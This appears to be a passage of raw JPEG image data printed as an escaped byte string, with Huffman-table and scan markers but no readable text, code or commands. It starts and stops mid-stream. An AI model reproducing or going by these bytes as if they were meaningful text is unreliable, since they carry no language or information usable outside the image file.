f0\xa3Z4KYq\x89\xbd\xc3EO\xd0\xbf\x8e\x04\xb5$\xf10\x14O\xa9)\x02\xd7 \x9e\xe4\x81\x00\xe3\xca\r\xcd\xd9\xaebd\xb8\xe7\x8b\x86_\xee\x0ep\x0b\x0c\xf9\xedH\xa1\x11\xc4@\x15/KJ\xca\xfa\x10\x88x\x8a\xe70h\xad,_\xca\xaf\xee\xdb\x90\x9d\r\'\x9f-\xbe\xd8\xa0?x\xf90\x10\xd1\xd13^\x11;\xb1\x02\xeb\xcc=\x9bHI\x95;\xc2`\x08@!DQ6\x1a18\x9a\xde\\\xa3\xf9O\x94)zZSW\x19X\xd4=\xdbL\xf8h\xa5,\x1bL\xaf\xef\x15D\x9d\r+\x9cA84\xff\x00\t\x8c\xe0\xc3Z(L\x87\xb9\x1c\x9c\xc5\x01\x14X(d\xc7\xb2\xe9Y\x14\xd3\xb9Q9\x0b\x81\x9c1L\xea\x8e\x8aU0\xa14\x86>\x82j"p\x0e\x8e\x92\x15\xd6\\\xca\x13\xdc7H\x95\xa3\x04\xb2@8S\r\xeb=8\xe3\xe5\xd2\x92\xc6\x19\x88\xf41\xf4\x13g\xac\x00\xd1\x02\x04\x15\xa7\\\x88}\xa2dn\x99\x07\xb2\xe9}\xb9\n\xea\r\xd8c\xadY%\x92=h\xb1s\x16VI\xb6>\x82\xadu\xa6\x00\xf2\x0f\x96\xf6S[t\xcb\x9b\xc1B\x92\xb4~\x96\xaa\xd5\x8f\x1e\xf5\x8c\xb1\xc7\xa1\xa4W\x06Z\xe8r\x98\x8e\xe6\x88\xa2\x91+Dm\x88Xy7\x9f\x98\xbb\xcdI\x83\xb2\xe9u\xa8\x1e*)\xeeoI\xbb\xa3 \x05\xd1\xc3\x81F\xe6E0\xfdb\n\xa4j\x0f \xf9g\x17\x0732\xce\x03\xaa\xb3\xc5\x8cJ\xb5\x12\xd4\xdbp\xa5\xe1\x8bR\x1e\x8c\xba%\xeb*P\xfa\x0b\xe6\xa1\xf9\x95\xca\r\xbd\xa1\xab\xb5\xd6\xdbrK\xaf\xdd\xae\xd5\x96\xb4d\xd4\x1b\xda\x8d\x95\x03c\xb7.\xb2\xe6\x0e\xcb\xa5\x06\xa2\xe2\xd6QP\x10\r\x85\xca+\x9a\xac\xd7\x1b-\xcf\x0e\xa6\x18\xe6[U\xe5\x1a1\x8a@\xc4\xc6\x02\x87\x8a\xb2\x08\x13\xab\xf6\x83H\xdb\x0c\xc0\xc2w*\x9d\xc9\x84q\x10@5m\x9b\xb7(\x8e\xa9\x04\xca\x9ad\xf2\x1c\xf9\xbf\xf2\xa4\x15\xd7\xbfz\xb0pUu\x0e\x15d\xb5\x16v\xac"F\x10\x1c\xed\xf5\xfd\x9a\xf9lwv\x9c\xdaI\xef\x12\xa2\x0b\rE\xad\xb3I\xc78\xf7\x0eRR\x8a\xfd\xc8a\xf6\x98\x85m\xab\xf8\x85*\xe5\xc0\x94~\xd4hDM\xbcG\x11\xa57&\xa0\xf8\x14h\x13> \x02Q\x0cG\xca\xa1\xf3n\x0e\x14\xaa\x80\x8aJ*n\xaaE\x13\x8f\x92\x1d\xb1\xd9DE\xb3T0U\xa3DQP;,\xe2\x07u\x0b.\xd9"\x89\x94p\xc9t\xd3(\x0e\x02\x02\x1cB\x91[\x12\x10\xe5\xdeC\x80\x18(\xa2\x06\x00\x10\xa5:\x86\xe8\x9dLw\x07\x0f\x1a\x99P\x13\x89\x928\xee\xfe\x99@\nL\x9a\xc5\x13O\x1c3\x98\x0b\x8b\xcb\xd6\xd5c\xb9i\xa6\xe7\x1f\x07zY\x83K\x10h\xc5\xdb\xb3\x00\xf1\xf3\xc0O\x97\xc7\ni\xa5\x98Ep\x07\x8c]\xb40\x8f\x18\xbb\x86\x16h?\xb6H\xa2\xe8\xdd\xe8\xf6%\x08)(\xa2f\xdcd\xcc%5D\x1fY\x15\x1a`\x1cql\x964\x97P\x9f\xf9F8\xe47~\xea\xd7\x07\x85kIB\xb0w\x05:\x92h\xdb\xfdS\xb4\x90\xef\xc8\xe2\xf1\x87G\xee\x8c\xab\xa1\xa7\x17\xd3\x81\xff\x00J\xc54\xfe\xafn\ti\x04\xcc\x8b\x87?`~\xb2M\xa3$\x9e\x07\xf4\xcc\xd6X\x9e\xdbk2e\x7f\xbc\xd44\xa6\xfa9\xdcQu)\xbf\xf1\x13\xcd\xec/\xee^\xd3\xad\x1c\xee0\xb2\x92\xdf\xf8S\x90\x84\x99\x82P\xab,\x89\xd2\x04\xcd\x8aOmm&\xbbhd\x99\\\x02.\xdap\t\x04\x17E\xd2)8n\xa9VAb\x81\xd2W\xb0\\\xe5\x12\xdc\x93\xe0?\x10r5k\x1f<\x13\x1d\xf8\x89s\x94i\x0f\xbb\x0f\xa58Y\x06\xe9\x19G\x0b\x11\x04\xf8k\x1d]\xd0\xcd\xb7\x11S\xbb7\x83\xab\xe5\xd9\xf74f\x9a\x01\xed9\x9d\x98{\xe8\xaa\xf9Q\x01\xdd\xabknN\xbe\xde\x8cj\xd8\x0e\xfdc]\x1d\xbf>\x02\xf1\xea-\x80{\x9aX0\xa8`.\x05g\xa6\xc3\xd2\x06\xb0\xb1,\xb2\x8bX\xf4\x121:\xaa\x08\x00\xee\x1d\xe1K!\x93\xd2/V\x9b+\x8f\xa0=\xdd_)\x8aS\x94\xc49@\xe48`r]6p S\xc8\xc4&:\xa0\xf4\x9c\xb2\xb0\xef\x15 \x9d\x929\xf2\x82hwF\xc3\xc9p^\x90v\xe8\xea]\xacg\x0f?c\x17\xa5(\'\xab\x91\xbb\xb4\x16\x8c\x15\r\x94\xab\x80\xe3\xbc7\x80\xf7\xfa\xcd!&\x05\xbc%\xc0\x84\x02\x81\xb5&\xa8[\x9d\x18\x88\xd1lf\xe7p\xb8*c\x10\x1c\xdesk\x94SER\xb2L{\x92g12\xa0\x9d4\\\xc8)\x8e\x06Y\x96\x8f\xe5V\xcag\x8b"\xc4\xa3\xc4\xac\xec(V\xf9E\xc8\xaa\xf8\xff\x00\x8a\x9aF\xb0b\x183f\x8bm\xd8f\xe8\x88b\x18\x0f\x01\xa2"D\xc7\x10\xe3\xd1\xbc\xe0\xcb\x16\xf8\x1c\xb6&Vo\xf11I\xe7\x06u86\x90\xcd\x94\x06\xe2\xdc\x82\x91\xe4!\xed\xe9I\xf5D\xc8\x90A\x0c\xdfl\xfa\xe3\x85$\x0b\xf22#\xbd\xaf\x14J\xa1\xcd`\xdc\xb1\xfc\xdcf\xdaJY\xaa\x0e\x9a\x1c\xc8\x110\x1cw\x86\xf0\x1e\x03\xeaf\xaf\xdbv\x1b2b\xebot_\xd2\xcciBu\xfed\xe3\x88\x9cB\x03\xde\x8b)\xa9\xe7\x06X\x89\xb8\x90YA\xfbWL\xecUx\xc8\xba\xd5\xf8\xa3\x1bk\xc05(\x18\x8c\x81\xc2\xa1\xc4\xe0\x00\x00\x00\x01\x80\x07\x00\xf5\xd7c\x10}\x04\xf8\xb8bv\xc5\xda\x12\x1bQ\xa3\'\xd3\xac\xda\xbeK\\\x8a\xb9\xf0"i\xa6\x91\n\x92D*i\x900"w-\x93!%&\xe2E\x93\x84D\xae\x00\x04\xc8\xbf\xb4gc\x90U\xd2\xed\x00\xcd\xd1\xde\xa2\x9a/\xb8\xdc\x91\xf77\\(eZ8!\xce\xc0\xbd;\x8a\xfe\x85\x81\x13\xa0Sr\x94\x81\x7fI;{O\xcf\xe6Ig;33n\xd8b\xec\xb9\x89\x0c\xaa*NOn?\x99\x1beC0\xcauS\x19\x05\xc3\xf1\x94\xa5!@\x84(\x10\xa5\xdcR\xaa\x91T\x0f\xafp\x94L\x8a\x9fP\xe2\x1e\xbdT\xca\xb2J$}\xe4T\xa2C\x85\xbcqNv \xc1\xfb\xb4\x8b\xe5\xbe\xee\x17\x0c\x0b\xc8\xed\xd3\x00\xdb\x9b\x88\xb8q\xa2\xe8\xe1uqm\xd9\xc0\xa4\x8aD\xe7\xc3\xa2\xf1\xe3f\r\x96x\xf1b\xb7l\xdc\xb9\x95Z\xea\xd23\xe9QQ\x948\x9e>;\x81\x96\x84\xb4\xe4fp[\r\x8d\x90\xfe\xaa&\xdb\x8b\x87\x00\x16\xe8\xeb\x1cw\xbb\xe8\t\x08#\x88\x941\xf1\xf5\x82\xa2a\xc4\xe1B\xe5 \xef\x11\xa1w\xec\x92\x9d\xbf:\r\x9c."\x05\x04S1\xc6\x90X\xed\xd6It\xf0\xce\x89\x80\xe4\xa6\xb7\xc3\xc4\xbe\xf5\xb8\x0f\xd5\xad\xfc\xd4\xd8\x02\xc6:UsLBK\xc5\x1cL((\xed0\xfe\x91M\x17\xed\x1c\xe9OQ\xf7{2\xdbgJ\xf7\xba\x9c\\R\'n\x91\xf2\xc52PH\xcd\x1bb\xd0@\xa5#\xf9\x90)\xd46\x06A\x86bw\x18+1}\xa0\xacC\xc6\xb1\x0f\x1a\xc4<k\x10\xf1\xac\xc5\xf1\n\xcc_h+XOl\xb5\xadO\xdb\n\xd7%\xed\x85m\t{U\xb4\xa5\xf5\xad\xac\x9e\xc8\xd6\xd7\xff\x00J\xda\x8f\xdcP\xad\xa1_\x1c(UP\x7f\x18\xd6"<G\x1e\x85\xe3 \rc\xb6B\x8f\xdb>\x1c\xb5\xa3ki\xa4\xd2\xf2N\xa4\xda\x95\xcb\x04\x13\x04HG\xba.\xb6\\\xefn\x0ec\xc7\x0c\x00\xaf4D\xf8\x98r|\xc2\x0e=\xa0\r\x1a]\xa2\xb8$,\xd2*bl6\xab:\xcfF\xd7l\xa9\x8e\xa1\\\xc9:\xc3iq\xd1\xb9\xad\xe7\xd6\xbc\xa9\xca%86\x15u\x91\x8fcob\xe0T\xe5\x11\x1c\xdf\xb9i+\x1c\xfb\r\x95\xe2j\x88\xfe_\xadYSk\x07)\x84\x00\xb4\x18\xe0\x18\xf1\xef\xe9<x\xdd\x83s\xb9r}ZD\xa7N\x1e\xdcR\xa5\xd5\xa6*.\xe8\xe0\x93F\xd6\xdc"V\xfc;X\xd4\xf02\x84\x0c\xee\x95\xf5.\x99\xb5|\x81\xda\xbc@\x8e[\xa9\xd7FcE\x11\xae\x04\xca\xc3\xbb<q\xff\x00m#\xa3\xdb\xa6;0\xec\x1brE\xfc\xd0\x7f9\x14\xa0\xa0e\xdd3:|[\xa1zK\xa7\x86\xb4\x11q\xe3H\xdfe\xfc\xf8\xe1\x0f\x13%zD\x1f\xae\x0b\xa1I\xdc\xb0j\xf5d\x08\x14\x9c\x9cr\xbfv\xfd\xb9\xe8\x0cSo(\x80\x87\x8fEe5e\xff\x00\xb0\xf5i\x02g?\xd07\x8fJN\xe3\x8d\x8d\x03\x14U\xda\x1c\x07\x06\xef\xe4\xa4g\xdd\xa6L\xa6P\xc66V\x8c\xac[ \xb0\t\x84\x94\x88\x02\x93\x0b\x97\x00/\xadY\xba\x0eS\x14\\"G\t\x1b\xac\x93\xbb"\xd5z9\x95\x85@\x83N4Oo\xa9\x98[\xbaz\xd8\xc3\xd5\xa7\x1a T\n"\xd2p\x8a\x1f\xb8\x8b\xe8\xaa\xe4H\xa2d\x96d\xeb\xc0\x8a\xe8\xf6\xefH\x04\xc3\x12\')h\xd6\xc5\xce\x89\xbf\xf8r\x00>\'\xe5\xf6C\x82\x9c\xa0\xd0@D\x06\x8b92\x9f\xfb\x8b\x8a-\xcd:^\x12\x06\xa0\xbbgC\x8b\xa2\x9b\xea\x17\x94\xd7\xb4\x88\xfd\x0fwJ\x9cq0!I\xde\x92\x89\x17( \xd4~\xbc\xf8\x96\xfd\xbbJ\xe7\xac\xc7\xb0\xdc(o9\x91\xefD\xb4k\xb6t\xdc\x1d\x81(\xf232f\x04\x05\xcb\x87F>\xe0o\x0f\xa3\x8b\x8aLJg\x08rKa\xe2\xad\xb9g\xc4[d\xcc\xd9={\xe3\x17\x05\xa4;1\x8aS\x14J`\x03\x14\xc1\x81\x8ax\x88\x95G\x15#\x1a(!\xc0y\xb7o\x0f\xfb\x0cu+i\xdb+e\xcd\x04\xc42\xf0\xa3\xd9\x16\xa1\xc3\x01\x84n\x15\xcc+G\xe0\xc9\xd70\xad\x1f\x83\'D\xb1m2\x0e`\x85G\x1aN\xd0\xb6\x126b\xc13\x11\xa2\xdb\xb6\xf9w\x96\n<\xa2\x14\x8bt\x1b\x13V\xdd\x127O\xdd\xff\x00\xcc\xff\x00\xff\xc4\x00F\x10\x00\x01\x02\x02\x02\x0c\t\n\x04\x06\x03\x00\x00\x00\x00\x00\x01\x00\x02\x03\x11\x12!\x13 1@AQaq\x81\x91\xa1\xd2\x04\x14"2r\xb1\xc1\xc2\xd1\x10#0BRb\x92\xa2\xb2\xe3Pc\x82\xb33`s\x83\xc3\xe1D\x93\xd3\xff\xda\x00\x08\x01\x01\x00\x13?\x02\xfeZ\xe0\xfc\xbb\x10\x9de\xe6\xe5X\xae\xa1\x87\xf0\x08\x1c\xa7\xcf\xde\xc0\xdd*\x01\xad\xc3\xdf\x89t\xec\x19\x15\xc63\xa4\xe3PL\x9c\x83}V\xcc\xdd\x90\xaa\xfemns\x8dA\xadP\x9d\xe7\\=\xe8\x984&\xe0\xca\xe7\x1a\x86\x95\x00\xca\x1f\xeb}\xd3\xa2Y\xd46\x86\xb4h\x17\xfeF\xb1\xe50\xcatKD\x89\xc5\xcaP\xc4\xb4\x9cg\xf0\x1e\x88`\xef.\x9b\xc1\xee~\x05\xd3|\xbb\xab\xa2\x1eO_\xe0Y\xe9?\xbc\xb26\x1b?\xdd\xf9\x1a3\x19\xf5\x10\xb8\xd4-\xe5\xc6\xa1o.5\x0byq\xa8[\xcb\x8dB\xdeP\xddM\x842\x13[Q\x19B\x8b\xc2!\xb1\xe3\x96@\x9bI\x04T\x17\x1a\x85\xbc\xa0\xbd\xaf\x1f-\xf3\x0c\xc9\xf1\\.\xd1v\x06\xe6\xbb\x990\x17\x9a\xf3+\x04O\x05`\x89\xe0\xac\x11<\x15\x82\'\x82\xb0D\xf0F\xa2\x08M\x82\xf2\x088A\x92\xb0?\xc14\x96=\xa7aW,\xed\x17f=\xa1{\xfedNC6\x95\x8a\x91\x91:\x10\xbaN7\x1c&\xdb\xa4f\xba,\x03\xc8\x07.l\xae\x8c\xf1\x1b\x88ah<\xa1\xa4!\x8a\xf6\xf7a\t\t\xe9v\xc5\xef\xbf\x906\x13m\xd1i+9\x95\xa7\xb8kg\xcaB\xc38<\x8a\xf3\x80\r\xeb\x0e\xb8\x91\x08\xc41eE\xd4\xaa\x04\x99\xdc\x17f\xac\xd6:\x9a*\x12\xa0\xeceq\xaf\xb4\xb8\xd7\xda\\k\xed.5\xf6\x97\x1a\xfbK\x8cR\xa3M\xb4g+\x10S\x95*&r\x9dwW\x1a\xfbK\x8d}\xa5\xc6\xbe\xd2\xb2Y&[\xebN\x8bpICp\xa5\x0c\xc85\xdc\x93v\xe0\xc2\x87Q\x18\r\xe9\xec\xb6\x80wY*;\xc0|\x86\x132\x15\x91\xbb\xea\xc8\xdd\xe5dn\xf2\xb27yY\x1b\xbc\xac\x8d\xdeVF\xef+#w\x95\x91\xbb\xca\xc8\xdd\xe5dn\xf2\xb27}pgR\xa3]\xc3)\xafe\xf5\xb4\xeb\xabU\xe8\xde\x7f HDh\xc3UDzf\xd6I7\x00@\xcc1\xad\xe6\xb2zL\xef\\\xc8c\x0c\x00\xed\xb6\xc8\xd6?\xc5ik{\xd6\x87\x0f\x9eeCB\xe8\xc4\x06\xf6\xc8b:K4g\x81m\x9a\x80\x1dk\xa6\xe9\xf7m2X\xe2\x15\xfd\x87\xde\xc0J\xb7Aa\'I_\xa2\x1b\xbbm\xbao#\xba\xba\x01\xc7\xbdi\xd1\xb1\xf8\xacD\xc4\x86\xd9\xea&\xf6\xc6\xe0\xf8\x8c\xeahY^\x1e\x0f\xd3m\xad\xdd\xe5\x901\x82\xd3+\xe28\x1f\xa5dyyw\xd2/l\x14a\x168~\xe1Ya\xbc\x01\xf5\xdbt!\xb5\xbd\x8b\xfb\x8e\x1dB\xd3!m\x93\xbe\xb2B\x86\xd2?p\xde\xdf\xd6aw\xf8\xd6ad\xee[d/2]1K\xb5MH\xa9,\x90\x80\x86>\x95+\x92u\x8b\xfcw\xb1\xcb8U\x7f\xd8\xbf\xac\xd3\x0f\xbdhP\xb8\xb9\x8d\xd9^\xd5:\x83Z$\x05\xa6w\x12\x87\xe7\x93\x14}W\xb6H/lS\xb1\xab\xa2\xf0T\x82\x92\x15u#\xe4\x95\xa6j\xfc\x9e\xf3\x18\x1an^\xc2\xe9.\x86@\xf2g\xf49Kd\x16u\x02q\xff\x00h986\x1b\x0e\x99\x93\xb1q\xaf\xb4\x9bF+F\x99\xb4\xec@\xd1\x89!\x86\xc6\xe9;e\xe7\x94,\xa1\xa2v\xcep\x07R\x86\xc9\x0f\x9e\x8a\x8a\xe2\xfe\xaa)\xad\r\x1b\x04\xd0i\xa3\xae\xe2\x8a\xfd\xc0\xe5\n\x1fx\x9e\xc5N\x1f\xfej;;\xcd\xf0PL\xdb<\x048\\\xd3Z\x94\xe3C\xe9\xfbcnt\xc30\xe0p\x8b\xc7<G\x15\x99\xee\xf2Dph\xd6T\x16\xf6\xbaAD%\xe7\xba\xa1\xf2\x01\xd0\xc9MD\x160t\xbeSP\xc1\x88\xee\xe8Ou\x06\xead\x8e\xd5@\x17\xfcF\xbf&+CX \xe3C\xd5\x1e\xd32dG\xfe;\xdd\xeb\x8c\x9e\xd6\xbc\xeb\x83\xc9\xd1\x1a\x08\x9c\xdd2\x03t\x95\x12\x8b\xa1\x0e\x93\x85cT\xbd0\xaa\xec\x16L\xebS\rm\x13,5\xe1\xc8\xa17\x95\xf1:gR4\x9f\xad\xe6\xe2\xfe#\xc6\x86\xf2~d\xe7Pf\xa6H\xedL`\x04\xe77O\xa4\x17\x19\x10s\x9b\x9b\x08\xff\x00H\x7f\x19\xd0\xfdV\x83\xea\xc8U;\xaa/6xk\xf5\x8a\xa3F\x89$\x89Jg\x14\xd4x\xeddB\xc0f\xca\x9cn\x00d3z>\x0b\xcb\xaf\xdew4k\x9eD\xcf9\x1b\xe3uZ\x80O%\xd5\xfb\xd1\x1dV\xd5\x06\xb3\xf1\x1f\x05\xc2|\xe1\xd4y;/\x0cF\x1dg\xe5\x98S\x90\xa4\xd6\x97\t\xeaM\x12\x00b\x00(\xceppsZ\x1b!Q\xc4\xa1\xbd\xae\x90\xc7+\xbb\x11\xae\xc5\x11\x82\x93\x80\xf7H\x9e\x9c\xe7\xd0@54\xfec\xeb\r\xdar.\r60\xf4\xb0\xbbJ\x8d\xce\xd0\xcb\xba\xe4\xa3\xd6\xdd\x0c\xb9\xaehT\x05\xe5\x90\xd4\xbaN\x97\x94\xd7\xc8y-\xa2\xddJbntPa\x81)\xceR&\xbf\x1bg\\\x01\n\xa3E\xd29\xa3 \xd3\x89D\x1c\xee\x83p\xf5(\xbc\xa8\x9a1h\xbd\n\xe8\x89\xa3\x8cV\xa1<\xb3a\xa4\xa2\xb2c[\x13\x1d\xe7\x03\xb3]\x969\xaf\xcb\xaa_=\x1bf\xdc\x88EVWc\'\x06!\xa5:\xe3r\xc4\x18\xf2k\xc9\xe8\'m?A\x89\x8d\xad\xde\t\xf3\x13\x8a\xf39\x82%\xcd\x03j\x83\x12\x93g\x8c\xd9i\x9d\xab\x841\xd0e\xa5\xb6I\xa3\x19\x943\xd4i|\xa8\n\x9a\x07\xa8\xc9\xd7.\xbbaq\xcd\x9c\xc5~\xd3p\xf8(]\xad\xf0S\x93\xbe\x13]\xeb\x84\x9cA7\x00\x9f%\xa8z\xf1]\xce=\x83\'\xa2\x88)\x03\xadE\xf3\xb0\xb3\x03\xce\x1bW\x04u\x92\x7f\xa2\xa7\xfc\xaa-!/\xd0\xf4\xe6\xc8\xfc\xa4(q;\x08\xedNd\xfe\x92S\xc3\x99\xf5\x00\x84F\xf8\xa1\xe9aVt\x9b\x81B\x04\xd6p\x01\x84\xab\xa3\x83\xb4\xfa\xa3\xde\xc6t\x0c\xbe\x96#C\x9at\x15\x02\x94\r\x90\x8bU6=\xa3Ad\xf6\xa8\xb0\x0b\x07\xc4\x1e\xee\xa4\xc8\x8e\x0e\xf9\xd8\xd1\xb52,\x17l\x0f\x9ad\x08\x87kBu\x95\x95\x8b\xb8\x93\x9eOZ-a\xebj0\xd9\xd8\x15\x05D\xf8\xa2\xd7\xef\xaa/\xdfT\x0e\xf2\x0c\xf1(CghP\xe7\xca\xfd\r\\\'\x9f,\x90\xb9\xd3\xcf%\x16\xb7\x9ct}\x91\x9bL\xefsp\x84\xe8,=\x8b\x8a\xc2\xddL\x82\xd6} &\xd2oQT\xe2o*q7\x93\x8b\xdc5\x17\'B\x0f\x1a\x9d484-\xd5\r\xa1\xa3P\xfet\xff\xc4\x00+\x10\x01\x00\x01\x03\x02\x06\x02\x02\x02\x03\x01\x01\x00\x00\x00\x00\x01\x11\x00!A1Q\x10 aq\x81\x910\xa1\xb1\xc1@\xd1`\xf0\xf1\xe1P\xff\xda\x00\x08\x01\x01\x00\x01?!\xff\x00\x07q\xfc;G\x0e\xc1\x01;\x08`\xbd\x14^@B@\xdcD\xf91\xc5\xc7\xf0Du\xbaC\xea\xcf\xb5;\rH\xdc\x99q\x98\xb1>BJc\x10;m\xe1{%\xc4\xd5\x9ah0\xae\x15\xcaAcO\x93\x1c\\|\xe3\x8f\x1a1l"\x97_\xee\x91jM\xd3\xb6\x07\xb2=V\xb401\xb0vA\xea\x8a\xb3<\x81\xa1\xd2\xc7o\xcc\xa3n\xd1\xd8\x90\x03\xe5\xc7\x17\x1f>F\x1f\xba\xdfqB\x14\xd9\xecD$\x89\xba=\xd6\x8c\xa2\x10\xbaI\xaaees\xf3\xe3\x8b\x8f\x9fyZ;U-VJ<\xef\xf0\x18\xe2\xe3\xe7\xf0\xca\x96\x9b\xba\xb3\x06\xc2\xedbg\x1f\xe0c\x8b\x8f\x9fXM\xbbiQ\x96\xc88\xd3I>\xdf\xe01\xc5\xc7\xc3\xd7a\'\xd72\xbf~\xfd\xf3\xe1$\x7f$L\xe1$\xd2\xa6\xbb4\xa6\xf4`Rq~\x15\xd1\x01\xeb\xee\xa4\xfc\xd8\xe2\xe3\xe0\xd1Q\xf1\x98B\xe4\xdan\xdd(\xa7\xe3r\x9a\xadX-\xdef,X\xb1"\xa0\x14~\x80DtJ\x1d3\x19t\x80\x8a4\x91\x0cJ\xac\x95\xf7c\xd1p\x82\x9dJ\xd1\x04L\x90\x82\x1b\xdbRX!\x9f\x93\x1c\\s\xae\xfef\x10!\xd8\xdaX\xac\xe3\x11\xf0W\xa3\x84\xc0\x0e\x8a\xfa\xc4\xca\xf3f\x07\xdb\xbf\xb5w\xf0\xb5\xac\xd7\xbe8`x\xac\x06\xda\xec66\xbc\xebJ\xe2F\x7f\xe94\xa0\xde\x05\xc0U\xc4~Lqq\xcf`agLt3\xd3\xa0\xea\xe6\x93\xec\xf8\xe6\xff\x00e\xc4\xfcWy{\xaf\x12\xdeh\xc9\x86l\x83N\x1a\xdbz\xbd\xaeV\xf7\xdd@u\x07\xc6eA\xea\xf2\x0f\x93\x1c\\s!\xb9D5\x04\x88\x03)\x83\xba\r\xce\x0f\x8c~\xd0%m\xd8\x96+\x15\x8f!\xc6\xbb\x85&s\xa70\x88\x88\xce\\\xd6\x9c\xcbT\xb3\xb9Xj]\x13v\xa1dh\xf6\xe4\x11\x1d\xfa\xf3/\r\x07B#\x1a\xd0@|\x98"\x0c&`\xe9\xd6\xaf\x10\xa2\x9aYD \xd9\x1b\x9f\x1e8\xb8\xe6^\x98E\x15\x07wy\xab7.A\x05\x8d^"{\xe3\xe5\xe1\xc7\x8f\x1e<x\xf1\xe3\xc7\x8d\x08C\x1fA\x90\xba\x06\xe5\xfco;$\x91bE\x87M\xdd\x9f\x1e8\xb8\xe6} \xf6W\x81\x18\x0b\xd8A\xbc|\xa1\xa2\x8a\x97\xc0\rU\xab3y\xc5X\x86\xa9"-,\x1aK\xf1c\x8b\x8es\x8a\x06\xfa\xa8t\xa00z)\xff\x00\x80\x9c\xd0\xe3\x0bM\xe5\xbe\xc5\x7f\xd9\xc7\x93\x87T\xd4\x02\xd4w\x18/b\x83\xf9\n\xec\xbf\xd1\xf2c\x8b\x8et\xb4\xc2G\x10\x94\x0e\xcd$\xf3U\xe6\x02\x1e\xa3\x9a0\xbf^?1\xcb`\xab\xc0\xb7\x0bQ\xf9\x01X&\xd8\xc8@\x8f\xb4\xf91\xc5\xc7<Q4\xa0\xd8\xd6Q]\xdb\xd3\xf1\'c?\x98\xf8E<o\xc6\xb6\xb5\xbc5l\xe6F\xfc\x8d\x1a\xb6K\xa8\x07\xe7N\x8d7\xacd\xf0<\xfc\x98\xe2\xe3\x9e\xea\xcb\xf5\xbc\x17mio\xcd;W\xf4\xb9\x0ch\xe0\xf1\xe9\x07\xf9)K\xf6*\xeb\x99\xfb\x1eF]\x8a\xea\xca\x9bcM\xe2\xfdm\x1bG\x7f\x92\xc7\x17\x1c\xfb9\x16\xd0M\xa6g\'\xeeN*\x1e\n\x9d\xe2\\\xc6{\xa2\xb4\xa2@\x17r\xfd\x1c\x92\n\x00\xd80\xd3u@\xa5\x81\x00\x8dc\xd7_\x90\xc7\x17\x1c\xe98A\x1dE\x19\x9bDq\x9e\x97\xd1\xfb\xb1\xbfl\xd6\xaa\x8eB3:\r\xda\xf6\xd2*\xc4\xf49\xbd\xb5ur\xe8O\xaa\xdc/D\xfdW\xf6\xd3\xa8\xc6\x19P"w#\x14\x96\xa6\xd4\'o\xab6\x0e5\xf2\xfcx\xe2\xe3\x9c~\x06\x15\xd1\xc3cy\x1b~\x9b&\xd1\xde\xe7m\xa8jp\xd3]Q\x81\x07\xddJ\xdc]\x9e\xcd*\x7f\x9a\xe4\xeeJ\x88`I\xb2,\x13\xb0pP%`5il-\xb6\x83C9\xd0\xcf\xcd/\xc4B\xa4\x81W\x0b\x85\xff\x00\xbd~Lqq\xce(C\xa9\r\xf1\x8c\xb4h\xb0<\x8c;\xc7\x8a\xe9\r\xaa}\xc5K\x8b\xb0\xa7$t\xff\x00HS\xd2\xf7\x94\xb4\xe05A\xea\x90f\x02Tk\xc6F\x0f\xddv\xa66\xc6_\x8aYg9\xab\x92&\xc6\x07%&\xa6\x1f\x93\x1c\\s\x84\x86\xe9C`.\xca\xd22\x84\x91\xa3\xf5\x0f"Jv&I\xa1\xe8\xe4\x98\xbb_wn\xe0\x887!\xba\xfb\x1a\x8b\x02!hJ/J\r$\x89\xe2P\x9ehH\xaa\x00\xcd\xc5\xef\xd6\xf5\xae\xb5\x84\xc7j[\x14\t\x95\xbb\xf4\xae\x90BE@`\x94&_[>\x0cqq\xf0\x1dp\x0b\xab\r\x1d\x84\x85\xd0\xbe\xc5&cX_\xb5\x06]\x0e\x8c\xa8\xae\xa3\xea\xb2\x17\xbdMO\x85\xcd\x1d\x1b-O\x906$\x93e\xfc\x03P\xf6\xfde^-\xfbjs\xe9v\xb0\xcc,\x83\xbbZ\xce;\xa7\xbe>\xd4\xa8\t:\xf4O\xd1\x9f\xe2\x9e\xd7\xd9C\xea?\x1e\xedQ$\xc5\xa2\\\x8d\xc9k:)\t\xf4<\x06\x82\r\x0c\xbdn%GYF*D9\xb1\xc5\xc7\xc0H\xc2\xf8\xa6}5#\x80:H@\xf8\x8a\xbf\xaeO\xba\x8f\x9f\x94\x86\x9aJ\x150\x03#0\xfb\xaf\x0bR\n\x04y\x8c\x08\x1ef\xb7\x04"3\x84=\x95\x19\t\xc2\x16r)\xf0\xa8\xb1)I\x9d\x99\xfa\x96\xa0\xbeBUw\x00\xfd\xeafNL\x07\xcf\xf7\xa0\x10\x93Q\xad\xe9\x99D+\xca%t\xdb\x8b\xf4\x01 \x08@\xea5w\xd1\xbao\x0e\xb0\xce\x18\xb5\x89\xc1\x94\xbdU\xa6\xcd\xd1\xe1r("\x08\xc8\xe8\x94\r\x02$a\x02\x12BdfA+U\xd4\x99\xb4\x9aJ\xdamj\xa1@\x04.\x01\xa2p\xc7\x17\x1f\x02\xa8h\xcc%\xed\xdd*\xefDR\xa2I\xea\xbd7~\xd58\xae\x91J{\x03\xe1L\xd9\x08`]\x0b_&\xb7\x11\x0f\xeb\x14\x18,,\x98w"<\xba\x932\xe0\x8b\xb3\xecy\x81\x82B\x12\x9cN\xabK\xca_\x1c\x06/\x80\x1a)\xf6\x01\x14\x1cF\rI&\x95\x86`"3/\x19+\xe8\xab\xdc\xbfD\xf3\x1a\xd4\xd1\xf1)\xcbQ\x8f\xc0\x9d\xd6\xe9\xc4u\x19\xec\x04V\x88b\x80\x08\\\x06\x89X\xe2\xe3\x9b\xb2\xd2Yu\xa5/\xeaX\xa6\x89\x86^\x04\x84J\x1b\xdf\x1b\xd1\xabh5\x02\xd3ac4\x90\n:\x1fh\xc1\xedG\x8b#\xfa\xd4\xee\n\x04\xc7\x80\xb0\x06\x0f\x9e&%\'bu}\x8a\x882\x92\xda\xc4aM\x99\xfa\xa1v\xe3Gi`\n\x95[\xb8@!\xa4Y)\x1ahPb\x1f\x1cU\xb7|5mG\xee\xc4\x12\r\xad\x86\x92\xf0,\x128\xe2\xe3\x92\xecr%\x85h\xf4\x80\x0c\xd1\x14\xadQ\x03\x16r\xcf\x1a4\x9d\x02\xa0N\xe6\x14gO\xf4\x1d\xea\xd4a0\x0b\x17\x87K\xff\x00\xb5\x1e\x82\x03\x00h\x01\xa5\\V4\xec\x05\x8d\xe3\xf8\x03?U\x81\x97\xd3NdJ\x99\x8b\x0b\xfax\x8c\xd7[C0\xd0Q\x8a\xcd\x9b^\xf4\xfef\x1a\xca\xb4\\h\x10@tV8\xb8\xe1\'6lh\xbb\xaa\xd8\x0b\xad\x8b\